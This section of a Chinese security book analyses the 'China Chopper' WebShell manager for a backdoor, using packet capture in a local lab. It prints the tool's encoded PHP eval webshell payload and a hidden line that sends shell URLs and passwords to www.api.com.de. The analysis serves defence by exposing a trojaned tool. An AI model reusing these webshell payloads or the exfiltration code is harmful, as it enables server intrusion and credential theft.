7.18 手工检测“中国菜刀”是否包含后门

我国有一句古话:“常在河边走,哪有不湿鞋。”互联网上流传的很多安全工具是带有后门的,如SSH Secure Client就曾被曝留有后门(Putty汉化版被爆存在后门,可窃取管理员账号,http://os.51cto.com/art/201202/314269.htm)。在工具中留下后门,就可以不断获取“活的”攻击者、管理员等提交的登录账号和密码,以及服务器和WebShell等权限。那么,著名的WebShell管理工具“中国菜刀”会不会留有后门呢?试一下就知道了!

7.18.1 “中国菜刀”简介

“中国菜刀”是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用“中国菜刀”来管理。其程序大小为214KB,如果在非简体中文环境下使用会自动切换到英文界面,采用Uincode方式编译,支持多语言输入和显示。

7.18.2 实验环境

在进行测试前,需要准备如下实验环境。

7.18.3 分析并获取后门

分析并获取“中国菜刀”后门的操作如下。

01 新建记录

在“中国菜刀”中新建一条WebShell记录,加入一句话后门地址“http:// 127.0.0.1/1.php”,密码为“x”,如图7-171所示。

0357-1

图7-171 新建WebShell记录

02 配置WSockExpert_Cn抓包软件

打开WSockExpert_Cn(也可以选择其他抓包软件),选择需要监听的程序。在本例中选择“中国菜刀.exe”,如图7-172所示。设置完成后WSockExpert_Cn开始对“中国菜刀”进行监听并获取其通信过程中的包等数据。

0358-1

图7-172 配置WSockExpert_Cn抓包软件

03 使用“中国菜刀”打开WebShell

在“中国菜刀”中打开WebShell记录“http://127.0.0.1/1.php”,如图7-173所示,可以对WebShell所在的计算机进行浏览、删除、上传等操作。

0358-2

图7-173 打开WebShell

04 获取数据

在WSockExpert_Cn中可以看到抓取数据包的记录,在其中选择第2条记录,如图7-174所示。复制数据包的内容,其内容如下,代码中包含URL编码,无法看出什么。

x=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%2
9%29%3B&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuW
FNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZ
DNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVV
kZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6M
G5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwI
ik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNob
ygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkR
D09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9X
HQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJ
EwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb
25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0Z
XVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyR
SLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGl
lKCk7 
0359-1

图7-174 查看数据包

05 对URL数据进行解包

将上面获取的数据复制到Encode中,如图7-175所示。选择“URI”类型,单击“Decoder”按钮,可对输入框中的内容进行编码。

0359-2

图7-175 对URL数据进行解码

解码后的数据如下。

x=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2R
lY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2R
NZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2F
TNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1Z
TV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OSc
pKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0B
zZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9
TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZ
FUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0
iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSR
SLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2l
kJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHV
bJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHV
zcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7  

将解码后的“z0=”后面的数据复制到Encode的输入框中,选择“BASE64”选项,如图7-176所示,获取第1次Base64解码后的数据,具体如下,加粗的部分还存在Base64加密。

@eval(base64_decode('aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWt
lJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJ
WRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSg
kX1BPU1QpKTt9'));@ini_set("display_errors","0");@set_time_limit(0);@set_
magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAM
E"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(su
bstr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.= 
"{$L}:";}$R.="\t";$u=(function_exists  ('posix_getegid'))?@posix_getpwuid 
(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_un
ame();$R.="({$usr})";print $R;;echo("|<-");die();  

将以上代码中加粗显示的部分复制到Encode程序的输入框中,选择“BASE64”选项进行解密,如图7-177所示,获取其后门地址代码如下。

if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.api.com.de
/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&amp;Pass='.ke
y($_POST));} 

其中,“http://www.api.com.de/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER ['REQUEST_URI'].'&Pass='.key($_POST)”为后门接收地址。黑客在打开WebShell时会自动将Shell地址和密码发送到网站 www.api.com.de。

0361-1

图7-176 第一次Base64解码

0361-2

图7-177 获取后门地址

7.18.4 小结

通过上面的分析,可以了解到“中国菜刀”留有后门,用户在使用该工具的过程中会自动将WebShell记录发送到指定网站。因此,使用网上下载的工具时一定要留心,最好将其放在虚拟机中运行。此外,要尽量到官方网站下载工具软件。

参考文章